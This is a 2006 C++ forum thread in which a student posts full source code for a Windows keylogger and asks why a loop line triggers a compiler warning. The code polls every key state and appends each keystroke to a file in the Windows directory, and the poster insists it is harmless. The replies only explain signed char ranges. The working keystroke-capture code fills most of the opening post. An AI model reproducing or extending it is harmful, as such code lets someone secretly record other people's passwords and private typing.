943,788 Members | Top Members by Rank

Ad:
  • C++ Discussion Thread
  • Unsolved
  • Views: 2067
  • C++ RSS
Sep 30th, 2006
0

Help with fixing my source code

Expand Post »
Please note before reading this, this is a keylogger, no its not used for malicious purposes as it only runs with the programing prompt open and stops as soon as the program is exited. Just trying to show my computer teachers something, because he's an idiot who gets his lessons straight out of a text book I tried it up to the non-working line and the file worked fine except it would hog the processor, and when compiled would stop working, so there goes that solution lol. Anyways what am I doing wrong in that line. I checked at least 15 times to make sure I nested everything right but everything seems to be in check.

My problem however is the line highlighted in bold. Dev C++ 4.9.8.0 gives me a "[WARNING] comparison"


[PHP]#include <stdio.h>
#include <windows.h>
#include <Winuser.h>

cout <<"\n Your keys are now being saved to a file called Key.txt in your C:\ Windows Folder. As soon as you exit this program it wll stop logging your keys";


void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen(file,"a+");



if (key==8)

fprintf(key_file,"%s","[del]");

if (key==13)

fprintf(key_file,"%s","\n");

if (key==32)

fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)

fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)

fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)

fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)

fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)

fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)

fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)

fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)

fprintf(key_file,"%s","[END]");

if (key==VK_HOME)

fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)

fprintf(key_file,"%s","");

if (key ==VK_UP)

fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)

fprintf(key_file,"%s","");

if (key ==VK_DOWN)

fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)

fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)

fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)

fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){

key = key - 48;

fprintf(key_file,"%s",&key);

}

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);



if (key !=VK_LBUTTON || key !=VK_RBUTTON){

if (key >=65 && key <=90){

if (GetKeyState(VK_CAPITAL))

fprintf(key_file,"%s",&key);
else

{

key = key +32;

fprintf(key_file,"%s",&key);

}
}

}

fclose(key_file);





}

int main()
{



char i;


char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");

while(1){

for(i=8;i<=190;i++){ //THIS IS WHERE MY COMPILER ERROR IS

if (GetAsyncKeyState(i) == -32767)

{


keys (i,test);



}
}

}

}[/PHP]
Last edited by Niklas; Sep 30th, 2006 at 12:25 am.
Similar Threads
Reputation Points: 14
Solved Threads: 0
Junior Poster
Niklas is offline Offline
104 posts
since Sep 2005
Sep 30th, 2006
2

Re: Help with fixing my source code

What's tha maximum value a signed char can handle?
Moderator
Reputation Points: 3278
Solved Threads: 892
Posting Sage
WaltP is offline Offline
7,718 posts
since May 2006
Sep 30th, 2006
0

Re: Help with fixing my source code

Yes Mr. WaltP is correct, when you declare a char it is automatically taken as signed char whose range it think is from -127 to 128 (not very sure).

Try declaring "i" as unsigned char and then try compiling it.
Super Moderator
Featured Poster
Reputation Points: 3233
Solved Threads: 719
Failure as a human
~s.o.s~ is offline Offline
8,871 posts
since Jun 2006
Oct 1st, 2006
0

Re: Help with fixing my source code

Click to Expand / Collapse  Quote originally posted by ~s.o.s~ ...
when you declare a char it is automatically taken as signed char
That's machine dependent. It could be signed or unsigned.
Reputation Points: 197
Solved Threads: 12
Junior Poster
Grunt is offline Offline
147 posts
since Jul 2006
Oct 1st, 2006
0

Re: Help with fixing my source code

Click to Expand / Collapse  Quote originally posted by Grunt ...
That's machine dependent. It could be signed or unsigned.
Hmm i thought it was compiler dependent...
but then again you might be right.
Super Moderator
Featured Poster
Reputation Points: 3233
Solved Threads: 719
Failure as a human
~s.o.s~ is offline Offline
8,871 posts
since Jun 2006
Aug 28th, 2008
0

Re: Help with fixing my source code

Click to Expand / Collapse  Quote originally posted by ~s.o.s~ ...
Hmm i thought it was compiler dependent...
but then again you might be right.





How does it differ when we say "compiler dependent" vs "machine dependent"?
Reputation Points: 10
Solved Threads: 0
Newbie Poster
SaShenka is offline Offline
3 posts
since Aug 2008
Aug 28th, 2008
0

Re: Help with fixing my source code

Click to Expand / Collapse  Quote originally posted by ~s.o.s~ ...
Yes Mr. WaltP is correct, when you declare a char it is automatically taken as signed char whose range it think is from -127 to 128 (not very sure).

Try declaring "i" as unsigned char and then try compiling it.


I think the range is -128 to +127
Reputation Points: 10
Solved Threads: 0
Newbie Poster
SaShenka is offline Offline
3 posts
since Aug 2008
Aug 30th, 2008
0

Re: Help with fixing my source code

it's out of range...
Reputation Points: 47
Solved Threads: 69
Posting Whiz
cikara21 is offline Offline
340 posts
since Jul 2008

This thread is more than three months old

No one has posted to this discussion for at least three months. Please let old threads die and do not reply to them unless you feel you have something new and valuable to contribute that absolutely must be added to make the discussion complete. Otherwise, please start a new thread in this forum instead.
Message:





About Us | Contact Us | Advertise | Acceptable Use Policy
Forum Index | Build Custom RSS Feed


Follow us on Twitter


© 2011 DaniWeb® LLC